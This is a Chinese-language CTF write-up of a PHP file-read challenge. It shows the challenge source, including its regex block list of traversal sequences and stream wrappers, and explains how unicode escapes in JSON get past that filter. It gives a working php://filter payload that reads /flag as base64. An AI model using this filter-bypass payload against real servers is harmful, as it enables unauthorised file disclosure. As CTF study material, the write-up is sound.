知识总结
题目比较简单,考察json数据转义的一个小Trick,主要思路还是利用字符的转义来进行Bypass
解题过程
进入题目获取源码:
<?PHP
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit(); //这里有exit(),因此在进行测试时应删除URL后的source参数
}
function is_valid($str) {
$banword = [
// no path traversal -> 防止目录穿越
'\.\.',
// no stream wrapper -> 过滤掉常见伪协议
'(PHP|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration -> 过滤掉‘flag’关键词
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i'; //正则匹配违禁词
if (preg_match($regexp, $str)) { //对传入函数的字符进行检测
return false;
}
return true;
}
$body = file_get_contents('PHP://input'); //变量body利用PHP://input伪协议获取post数据
$json = json_decode($body, true); //变量body在进行json解码后赋值给变量json
if (is_valid($body) && isset($json) && isset($json['page'])) { //对body内容进行过滤检测、检测json中是否存在page参数 -> 意味着我们的payload应传递给page参数
$page = $json['page'];
$content = file_get_contents($page); //读取page中文件的内容并赋值给content -> 到这里就可以确定是一个文件包含漏洞了
if (!$content || !is_valid($content)) { //对content内容进行过滤检测
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content); //如果直接返回明文Flag则会替换掉Flag中的内容 -> 这里很明显需要对返回的内容进行加密,不难想到利用PHP://filter中的流控制器进行数据编码
echo json_encode(['content' => $content]); //输出content中的内容,即输出文件内容
在阅读完整个代码后,可以大致猜测到本题是需要利用PHP://filter伪协议来读取文件的,难点在于绕过is_valid()这一检测函数,于是引出了json编码数据中的一个小Trick:
\uXXXX可以在JSON中转义字符,例如A与\u0041等效
也就是说我们可以将is_valid()中ban掉的关键词利用16进制的Unicode编码进行转义,从而实现绕过检测
首先构造读取/flag文件内容的payload:
PHP://filter/convert.base64-encode/resource=/flag
然后将过滤的关键词“PHP”与“flag”进行编码,得到:
\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067
之后构造json数据包:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
将json数据利用post方式发送即可:
base64解码得到flag